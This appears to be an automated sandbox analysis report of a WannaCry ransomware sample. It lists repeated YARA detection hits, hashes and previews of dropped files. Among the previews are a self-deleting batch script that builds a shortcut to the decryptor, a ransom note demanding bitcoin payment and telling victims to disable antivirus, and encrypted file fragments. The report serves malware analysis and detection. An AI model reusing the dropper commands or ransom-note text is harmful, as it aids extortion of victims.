                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    Preview:@echo off...echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs...echo SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")>> m.vbs...echo om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe">> m.vbs...echo om.Save>> m.vbs...cscript.exe //nologo m.vbs...del m.vbs.....del /a %0..

                                    C:\Users\user\Desktop\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Desktop\@WanaDecryptor@.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Windows\SysWOW64\cscript.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Desktop\AQRFEVRTGL.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7920051578361
                                    Encrypted:false
                                    SSDEEP:24:eYsIFUo39WuYG/EstaSeUvyCIM9NS648nI9DJBy73Cjs:ekUoptbeUacD4vDJByOjs
                                    MD5:D5BFBB9A82AC477B4586E8E37A2EA591
                                    SHA1:8C6766033D890A2605FD41B642DAEC71A46A7028
                                    SHA-256:8001BECFC00EFBB89B4495172285C7E1F6BD38352AFAEF66FA3F5AEAB846772A
                                    SHA-512:30CA665CD57B4724E2DEC448CAA6F99B23983EEB90578F6AE559FF2155D4BF6E2CDD881A8F1EE5C524863497DF2857A0985A4D29547DCF256C25EDDC8EB71A78
                                    Malicious:false
                                    Preview:..S.|...0....U.xl.h......{#.$.....n.....J.5t$..2....8...!.,..v.Q..!..Xg`.z.ccXRd..&......1...........P..-.u.....Y...La...*.I....7>..f...o...{Lzv..f........*....8K.......<..2.I...9.."=.(..._...5..HD,...<'../...m.........Hll.I.b0ELH$......Z.=...+.T...._J}:q.@i.x...sN.....F..._S.CD.$..N..J_.O...i....m...a0e.B...m ..@.t...V.<..4.fK{\...[z....x..$3.%f.fu.\.....x.w...V7.FK..C.+..Z.Vz.:Y....$.....W.*.J....!J.Fy...i.I_w.Cxbk......f.o\.M8:...H...7aj.A..p:.0<.z.?.=.......T.../..I#.AC...t.W..+Q....1......2..2.....;V..H.U...La{.`....6....N..n.....e6...:C.0[...R.".".g.O3..w....U."..........8.GHa..."Wd.....|J}+.;..........&:.]!...S....q4.>.....pk./...g.'.q.Y/oZL.{5.`w...(|.1.2...\.9..Hm..$.........-.......zc.t|3.?.t.5..wd...V....X...H~....y..F..>....p.;.SapK...k7...lJ..:.o....3^....3$RN..;`.j....>.l....n...H...s(E.....L..X^hc..j..;..H.p..f<...8L...p..kYg...v..I.u....p.H.-..{.'w....n.\........_....*t.|7}1...B:k..fz..1.cX.....>."l9.,d.z...Y/.O.ai;_$.

                                    C:\Users\user\Desktop\AQRFEVRTGL.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837816155452526
                                    Encrypted:false
                                    SSDEEP:24:bkKxT5DAuGZ4yrVHQqzL3/WNTZdbebcZHHb18Ej3Sk7nvWLxYne6V8eBkAW:bkKR1BGjHP/Yd6gnb18MRnvS6VfBkAW
                                    MD5:2934D981A532EDC0AF9DA6E5D5F7C824
                                    SHA1:F58C09491F2C09C029C3D945E45456876EC386D3
                                    SHA-256:C27F15216BB5DCEF8911AA55505EDFF1BD925A701060033D33724BD4ED031D42
                                    SHA-512:4A1C33D3C1F603BD1C2610EDCBC7E9AB4A8342DB970FBD8F0DF704B8D8BD8658C92EA09AF6FAEDF9485D3C8EAD55AE43E457119E4324235CF8668AF7B2F56F1F
                                    Malicious:false
                                    Preview:WANACRY!.......?..oBrm.M.}.\.R.5.....5..P.l\...:.".#..TN..6..>...pd..AGA.e...r....p.g...e. .....e.l...PH.2sRz.&....1.....`t...J..Y..=.s...Z.Kw....x.K.iqyI...#...8.X.;..T-..v..-..=..G..M...O.J4>0..Vh.9..j.$...4.....9P.v.....[T...F..M.I-..M............za.XaF.Xb..............U..(.._8.h.........@.h.. ..{\."....J.i/I........B%X.X....jn.Vd...V.+n...=J..'......./.EW;l".O..*.?..w0...;....0..0.hL<.(....b4(.?/U.K..m..Q....[.........[L..P...M,.../.k.Pv.]. 8s..S,...b~...ugq6..B........N.x....N.mB...-...y3k..*.. ..A.K....X.90O.%}$..?..GO...V...Szz...........'..;.e8..\..|.%0..Q...)..hZ..U.....Q...M..v...a.......X.e...}.!TQ.nGFah.w......z.<..:...o.m....E..'..).O....K.1d7.m.-.....G...]H......O.m..4...3....L......%HI.v..#.....<.&...f.{.4I..Y.r&uiw$....Z. .(..;:>.>3......j..*J.~....s....l.......y...SO=.E....~....W.)..3..{HNV.b....#.j.O.SU}.4H...;...i:..JEg....mK...;c...G.(]N...E.KN|.6...U@....[.i...@......j......m~.4.T..).W..._..7........(.Q.u6J..e..35w.

                                    C:\Users\user\Desktop\AQRFEVRTGL.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837816155452526
                                    Encrypted:false
                                    SSDEEP:24:bkKxT5DAuGZ4yrVHQqzL3/WNTZdbebcZHHb18Ej3Sk7nvWLxYne6V8eBkAW:bkKR1BGjHP/Yd6gnb18MRnvS6VfBkAW
                                    MD5:2934D981A532EDC0AF9DA6E5D5F7C824
                                    SHA1:F58C09491F2C09C029C3D945E45456876EC386D3
                                    SHA-256:C27F15216BB5DCEF8911AA55505EDFF1BD925A701060033D33724BD4ED031D42
                                    SHA-512:4A1C33D3C1F603BD1C2610EDCBC7E9AB4A8342DB970FBD8F0DF704B8D8BD8658C92EA09AF6FAEDF9485D3C8EAD55AE43E457119E4324235CF8668AF7B2F56F1F
                                    Malicious:false
                                    Preview:WANACRY!.......?..oBrm.M.}.\.R.5.....5..P.l\...:.".#..TN..6..>...pd..AGA.e...r....p.g...e. .....e.l...PH.2sRz.&....1.....`t...J..Y..=.s...Z.Kw....x.K.iqyI...#...8.X.;..T-..v..-..=..G..M...O.J4>0..Vh.9..j.$...4.....9P.v.....[T...F..M.I-..M............za.XaF.Xb..............U..(.._8.h.........@.h.. ..{\."....J.i/I........B%X.X....jn.Vd...V.+n...=J..'......./.EW;l".O..*.?..w0...;....0..0.hL<.(....b4(.?/U.K..m..Q....[.........[L..P...M,.../.k.Pv.]. 8s..S,...b~...ugq6..B........N.x....N.mB...-...y3k..*.. ..A.K....X.90O.%}$..?..GO...V...Szz...........'..;.e8..\..|.%0..Q...)..hZ..U.....Q...M..v...a.......X.e...}.!TQ.nGFah.w......z.<..:...o.m....E..'..).O....K.1d7.m.-.....G...]H......O.m..4...3....L......%HI.v..#.....<.&...f.{.4I..Y.r&uiw$....Z. .(..;:>.>3......j..*J.~....s....l.......y...SO=.E....~....W.)..3..{HNV.b....#.j.O.SU}.4H...;...i:..JEg....mK...;c...G.(]N...E.KN|.6...U@....[.i...@......j......m~.4.T..).W..._..7........(.Q.u6J..e..35w.

                                    C:\Users\user\Desktop\AQRFEVRTGL.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.815038351321668
                                    Encrypted:false
                                    SSDEEP:24:HNK7G/F07gvZ1h0zCBhLfV5C4bj9IDq0V5OLhfBy8pVX67nIr:Hwcy7GZ1hsyfV5RbZIDq0V5CPDVX67nk
                                    MD5:6E86D044EB497D1D32BB70578E44E001
                                    SHA1:03671332E608D4697B4F68946A4BD77AC3ECBA41
                                    SHA-256:901E5F0955198AD9FCC2B48BC35CC1D489B5DB21FB1D156A2E8274D2013D153C
                                    SHA-512:3400CC17799AC8F7B5B160DC53EE6A16F92CFDF7B2500AD4C629189E6D7820DC9DB0B64238D86BDF8F8B12DC09282FD51E4A7509FADE3F345CF15717A109DB0B
                                    Malicious:false
                                    Preview:.2.H-....&....PI1.-y....+z...........'a:V...e.J=y.KB..7P.d.^N...4'.HZ...44..b6c..'.Nz..n=.qk.........[x..+e..I...........d],.SGn..D ....$....6<...$..........Wb.9..(....n.8...s`.......\=...f....CU..Ln....q.)i..2F.p6...i.J.Z%..Vq..)..L.-....`...Z_W%.u..Kl.....A.3.?W.I.."..8......./"..I?-...(.....X...7....I.....Gv...S.A9.Y.s.D;......B.4s....R.9.jqC....:...;n..wJ./A.K7Rr........n...:.df.G...r.n<..8..Q...1.(...].mq......Ft......T#'..&.H...x....uw>..6~A.`.9.7UV[......j...).nX.7Yuq.!...YC.i.....WF.B<...r.\.G;]"..W....o.R.{..w..........!).N..6t.....m...Z.......F]....C.0.P......U...#...E.(Q..dT...%(.$R..!..."Rq.R$l.@_..z.R:e..|{....w.....y.b..i+Y..{wE.K-..........e...kN.Z..y]+.Y.:..OJBy.&G.b.u.... y....L=..........(.......l=.#.}......L.0..*...'.;<;..<..[G.h.."h....~i6.|..8..9J...R[............rfS+t.LP.$.`e2..<..m.q4/...t.E..My.|..0J<..2.bo..^.k..x.:.hM..sa.u....v...i.e...GV.A...{a....L....Y...C...oZ..f...U...7....N..t..C.....Ab..!.Jj$...4.A..!..

                                    C:\Users\user\Desktop\AQRFEVRTGL.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.809732033271682
                                    Encrypted:false
                                    SSDEEP:24:bkDjT12oplyMRiwMy+IR4uF71Dgl76wEUgNrPdtK8VKWd+DActFR6h+eTxfVne8:bkDfnyMRvD5hDglVGbdY8VPiAq6hle8
                                    MD5:65E763AC48E392269EB87A5DDFBCDF9B
                                    SHA1:DA8C667EDF3133F58677BBE68BD9550DC6341108
                                    SHA-256:9AD81CE1064DD399379F6EEF6BE1CCA66A05744F6977214633DA15D9051B54C1
                                    SHA-512:47F10DC1FA06F5FDD8AFB4BE5193FF7EE029B9910BE519A9016A40038CBC2F984A29EC9AF4C282E0C8D8042321E0A10B72DFD903E0EAC4DF98117EE47FD5D232
                                    Malicious:false
                                    Preview:WANACRY!....{..Q..wz.V .N......7v#%.s...=..B.r.A..#}...u.....QE..^I...2..v(U.E.....~..M.<..$......8..i../...+V.=.E....lOx.O.v.....3...Lv.Lr...`f....H.....n..&.qy.p;.. .....,..?z.t9.&$./.J..v.8...pr..........sHeI...mrMi...5..Y.Q.).E...f|7...%.#/....`.`..].............)_....x]....y.C[.......nTM.&.7X.....!.......1..g3...sj..:......t......>.B...X.=X2..cW.!..[.E..J..UT.9.....RC.....1.W..V..m2'.<.8...i...I.x.../Nx.t.,..L...;.....0.../...diZ...h....2...+.,....u..2.......H..5'0g.F.b....t......O..#....F...t'.5fq.0.I...>}....O.M.#.0..w.].v*...c......Mo`. w.m.z.4.ss.I.@.W......................}2...g.@.C.\............!.....j....n(...@.*.#...k&V.*.....p..........Q...4.v.....P^}.SJ....'....U....G/..n.../..w..qw..].#.`Y...1.5mY*.#..^....r^.C..u.6.;.0....V......v*.8W..."!..&-....7.f...1..Zl.f.$7.}w..k.....u..:....=.Kz..#..oql.7..2....$t...w.7.+..U.f.x.$q.wR|.... l.....O,.7'.5t...Rl.)).....8...I%....J.xu.#..:.....o......t.h...f&1./.v./t..2..C..AO

                                    C:\Users\user\Desktop\AQRFEVRTGL.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.809732033271682
                                    Encrypted:false
                                    SSDEEP:24:bkDjT12oplyMRiwMy+IR4uF71Dgl76wEUgNrPdtK8VKWd+DActFR6h+eTxfVne8:bkDfnyMRvD5hDglVGbdY8VPiAq6hle8
                                    MD5:65E763AC48E392269EB87A5DDFBCDF9B
                                    SHA1:DA8C667EDF3133F58677BBE68BD9550DC6341108
                                    SHA-256:9AD81CE1064DD399379F6EEF6BE1CCA66A05744F6977214633DA15D9051B54C1
                                    SHA-512:47F10DC1FA06F5FDD8AFB4BE5193FF7EE029B9910BE519A9016A40038CBC2F984A29EC9AF4C282E0C8D8042321E0A10B72DFD903E0EAC4DF98117EE47FD5D232
                                    Malicious:false
                                    Preview:WANACRY!....{..Q..wz.V .N......7v#%.s...=..B.r.A..#}...u.....QE..^I...2..v(U.E.....~..M.<..$......8..i../...+V.=.E....lOx.O.v.....3...Lv.Lr...`f....H.....n..&.qy.p;.. .....,..?z.t9.&$./.J..v.8...pr..........sHeI...mrMi...5..Y.Q.).E...f|7...%.#/....`.`..].............)_....x]....y.C[.......nTM.&.7X.....!.......1..g3...sj..:......t......>.B...X.=X2..cW.!..[.E..J..UT.9.....RC.....1.W..V..m2'.<.8...i...I.x.../Nx.t.,..L...;.....0.../...diZ...h....2...+.,....u..2.......H..5'0g.F.b....t......O..#....F...t'.5fq.0.I...>}....O.M.#.0..w.].v*...c......Mo`. w.m.z.4.ss.I.@.W......................}2...g.@.C.\............!.....j....n(...@.*.#...k&V.*.....p..........Q...4.v.....P^}.SJ....'....U....G/..n.../..w..qw..].#.`Y...1.5mY*.#..^....r^.C..u.6.;.0....V......v*.8W..."!..&-....7.f...1..Zl.f.$7.}w..k.....u..:....=.Kz..#..oql.7..2....$t...w.7.+..U.f.x.$q.wR|.... l.....O,.7'.5t...Rl.)).....8...I%....J.xu.#..:.....o......t.h...f&1./.v./t..2..C..AO

                                    C:\Users\user\Desktop\AQRFEVRTGL.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8134869225467805
                                    Encrypted:false
                                    SSDEEP:24:74H9BuvcVBpINNzen2cdfAc+NmCJZoHYJWX+enpKtd/KDVkcx/bIkdFd:sdUvclISnJA/yHY05+mbIkdH
                                    MD5:796F6F792CE5339E1BDF4399EEE35234
                                    SHA1:881DEAAED824449372B706C0FDED7D1E3B938330
                                    SHA-256:904B37FE4391A2C6E4A0FBCDF5436B4424625D627D88500DBE1D1BB40E9ECD5F
                                    SHA-512:605D83D172928FC69EFB0F24AFE7143BEE3A58F31BF0D81F08CD69083CB2C87B4D8F55480ABAF5AD7900092442E967ACEB1BEF13AC70F9C02673E8E0AC063FE6
                                    Malicious:false
                                    Preview:.{.......WK......d..31........s..'...Y.4.(>k.s.B*..7e1.+...-<]Wm.'AO./....'.`Z.P..\.XT.2...o...D..[......q...O24.mC.....{".j...&..R..e.q~..C...I..[$.c.Y..H.ipq......nm.w....sD...M.&.....?]...(.?.*Nb.1.D....o...4;.s.[)..#e....-^cIc..b.4Ot....<..[..hM.K..N..O.f..G.mH....FG.)......v.m+hY.1KjJ....}....TX..{a/.Jn...s...O.3..X6.$Y.+...EBy.{..Li..[(m........q.g.\.Ql...Ex.j. w1...kFq.....&..nT.>.N..._.(G.........>~.a:...Zie!l..(.~l.R..f':*.;..0.....w.c...Z..W...Mw"r..L.J.J....&..z-..M.D/M.9.C....g.c...kM.....h...p..q'...p.!^&..?.:...b.9...K....;0)..`.-.......x.Z.o.F.>.0Ck..Nn...K.....^..XU...=..]...._q.?.T.V.....<.XkU...K^..........X.....V...}. .B...$5....K.u.. .u.....G.Y..4_=(....GC.fr.......xMm.........h.x..a&....'...E.X..I.4..#......gpmF...H..l00..+.Z.....5y..CfF.km......54.|...U..L.Y.Z...].'..Q.RV....4....J(....C../0....~5d,.*...Z..c...'h.Gz......jl1J=.4.$,..R..."W.!`..9.fx.h&._...c[.O....2.].{.....]9G.`...h}....M.]9...o..,..XSQ.?R

                                    C:\Users\user\Desktop\AQRFEVRTGL.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854454309874459
                                    Encrypted:false
                                    SSDEEP:24:bkkiHiUHBWQz1wsw/aYoTSMKMOaLZoFp81pIhCaHF3xPWMlzmKxoA:bkkiHiIBhzFsRoTSMzO8oIlalZWgzmKt
                                    MD5:D96F9CB0DF28B2B81C70BCC6AE8C72BB
                                    SHA1:703A0CE536CC9322CD3EABF85083C9AA71701BF0
                                    SHA-256:8FD011C4D978AC4DB9183C9E8B102241BC914C70C907F3905B592C55E5BF6BD2
                                    SHA-512:7674315E2229B241B934229B6EF66AE27A9E1296F67028E75DF5C495C5705F8C410A72B560E63D735AED6E29863FEF6C24E3B83C21EC2B1358F562DA8E30BC70
                                    Malicious:false
                                    Preview:WANACRY!....n........[.;.`...=.WQ...3o..+..F...j..xh..N.j..........Iu4.zS.e.Q.%`.\s..N3....I?.<.Oj3d......].~...t......0..%..A.g28.U.D...L......F"?..S....`...q5$...)unN.x......s3.90KO.D...h...1@...v..oF..Yd...n..$..b+....c..Y..w.%..47-..^]7Q.%.d.BN...................M.Y...^_....M...v..A.}o...l.zq..)..6...O...c=...t$A.4.~D........^...}......[...jE....P.rS..N|...i.L....=0..6|n.m.u...9..*..x..B......z...*....B5!.!8..Y^.:4.%.c...ZP....C.-.J..uRr.......5...>;..<.;5...2.vvN..x.I...;;V'.6..f..X.L.... .u|R./....NL..S.)..........g.kzDkGq....1.z......@WY...0.n.6..~Jj.|.N...'X....g.O*...C....R..-8.;.8.4p..c...Z.... j...&..^......[D...>{fs..M.........<k..'.-...lU....@.U.M...-...8Y..{.j.'Yeo.c.p...-...k<Wh.L.b..4...:S.K.....0.[b...B.C...&.3Y[....U.T..%i<..z..J......(.%...g......0.4.....?f...0+../^Q..Sb"..~..:n.C... c.. g.-...gH. .2..=..%D...s0..'..}...x..B..F..5`.U..o..+..G....&..k.......\m.....}.z...cE...kI.r...S......[..ir.a.......<........9.j

                                    C:\Users\user\Desktop\AQRFEVRTGL.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854454309874459
                                    Encrypted:false
                                    SSDEEP:24:bkkiHiUHBWQz1wsw/aYoTSMKMOaLZoFp81pIhCaHF3xPWMlzmKxoA:bkkiHiIBhzFsRoTSMzO8oIlalZWgzmKt
                                    MD5:D96F9CB0DF28B2B81C70BCC6AE8C72BB
                                    SHA1:703A0CE536CC9322CD3EABF85083C9AA71701BF0
                                    SHA-256:8FD011C4D978AC4DB9183C9E8B102241BC914C70C907F3905B592C55E5BF6BD2
                                    SHA-512:7674315E2229B241B934229B6EF66AE27A9E1296F67028E75DF5C495C5705F8C410A72B560E63D735AED6E29863FEF6C24E3B83C21EC2B1358F562DA8E30BC70
                                    Malicious:false
                                    Preview:WANACRY!....n........[.;.`...=.WQ...3o..+..F...j..xh..N.j..........Iu4.zS.e.Q.%`.\s..N3....I?.<.Oj3d......].~...t......0..%..A.g28.U.D...L......F"?..S....`...q5$...)unN.x......s3.90KO.D...h...1@...v..oF..Yd...n..$..b+....c..Y..w.%..47-..^]7Q.%.d.BN...................M.Y...^_....M...v..A.}o...l.zq..)..6...O...c=...t$A.4.~D........^...}......[...jE....P.rS..N|...i.L....=0..6|n.m.u...9..*..x..B......z...*....B5!.!8..Y^.:4.%.c...ZP....C.-.J..uRr.......5...>;..<.;5...2.vvN..x.I...;;V'.6..f..X.L.... .u|R./....NL..S.)..........g.kzDkGq....1.z......@WY...0.n.6..~Jj.|.N...'X....g.O*...C....R..-8.;.8.4p..c...Z.... j...&..^......[D...>{fs..M.........<k..'.-...lU....@.U.M...-...8Y..{.j.'Yeo.c.p...-...k<Wh.L.b..4...:S.K.....0.[b...B.C...&.3Y[....U.T..%i<..z..J......(.%...g......0.4.....?f...0+../^Q..Sb"..~..:n.C... c.. g.-...gH. .2..=..%D...s0..'..}...x..B..F..5`.U..o..+..G....&..k.......\m.....}.z...cE...kI.r...S......[..ir.a.......<........9.j

                                    C:\Users\user\Desktop\BWDRWEEARI.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.81188632116243
                                    Encrypted:false
                                    SSDEEP:24:qpDCArBQFvs2CmmUlaUu5B/MCc90YSFrgyVvAqVwzIq:UCAtQxBPlWZc90YSTVYqVtq
                                    MD5:72637C8927F82DB61D798C9D6E6F51CF
                                    SHA1:C969F0F1C54EB0CFF0ADB4F28654AD6C0A2D266B
                                    SHA-256:36D31E6DE837B9EF74A255BE1BD83567731C6572AAD352225E02117364E4CFA7
                                    SHA-512:4900515839374C48669141D0F571B76B89B4678D2D1BE31711E520A25037C22FCBB0432310662656DC8FE218CCDF1C21E034F008440093B0B6F8257415ACEDB3
                                    Malicious:true
